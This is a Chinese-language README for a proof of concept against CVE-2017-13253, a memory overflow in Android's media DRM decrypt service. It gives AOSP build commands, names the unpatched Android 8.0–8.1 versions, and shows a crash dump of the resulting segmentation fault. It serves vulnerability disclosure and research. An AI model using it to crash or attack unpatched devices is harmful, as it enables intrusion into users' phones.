针对 CVE-2017-13253 的概念验证代码。
完整的文章可在 此处 获取。请注意,数字与博客文章略有不同,因为我发现使用堆大小为 0x2000 时崩溃的可能性更高(当然,只要运行足够多次,它无论如何都会崩溃)。
如有问题/问题/评论,欢迎通过 Twitter (@tamir_zb) 联系我。
要构建此代码:
AOSP/external。 cd AOSP
source build/envsetup.sh
make icrypto_overflow
在未修补版本的 Android(2018年3月之前的 8.0-8.1)上运行此代码应导致溢出。根据被覆盖的数据是否可写,这可能会导致崩溃。
代码应打印 decrypt 方法的输出,结果可能有所不同:
decrypt 应返回 BAD_VALUE (-22)。decrypt 应返回其复制的数据量。decrypt 应返回 UNKNOWN_ERROR (-32)。decrypt 应返回 0。以下是运行此 PoC 所得到的一个部分崩溃转储:
Build fingerprint: 'google/walleye/walleye:8.1.0/OPM1.171019.011/4448085:user/release-keys'
Revision: 'MP1'
ABI: 'arm'
pid: 761, tid: 5232, name: HwBinder:761_1 >>> /vendor/bin/hw/[email protected] <<<
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xee20f000
r0 ee20f000 r1 ee20d021 r2 00001eff r3 00000001
r4 00000001 r5 00000000 r6 ed117008 r7 00000000
r8 00000000 r9 fffff82a sl ee20d000 fp ee20efff
ip 08000000 sp ed2893c8 lr ed369e6b pc edda7f0c cpsr 20070010
backtrace:
#00 pc 00018f0c /system/lib/libc.so (__memcpy_base+244)
#01 pc 00004e67 /vendor/lib/mediadrm/libdrmclearkeyplugin.so (clearkeydrm::CryptoPlugin::decrypt(bool, unsigned char const*, unsigned char const*, android::CryptoPlugin::Mode, android::CryptoPlugin::Pattern const&, void const*, android::CryptoPlugin::SubSample const*, unsigned int, void*, android::AString*)+82)
...
memory map (205 entries):
(fault address prefixed with --->)
...
ee20d000-ee20efff rw- 0 2000 /dev/ashmem/MemoryHeapBase (deleted)
--->ee20f000-ee20ffff --- 0 1000 [anon:thread signal stack guard page]
...
如您所见,故障地址位于共享内存之后的内存区域。由于此内存被写保护,溢出导致了段错误。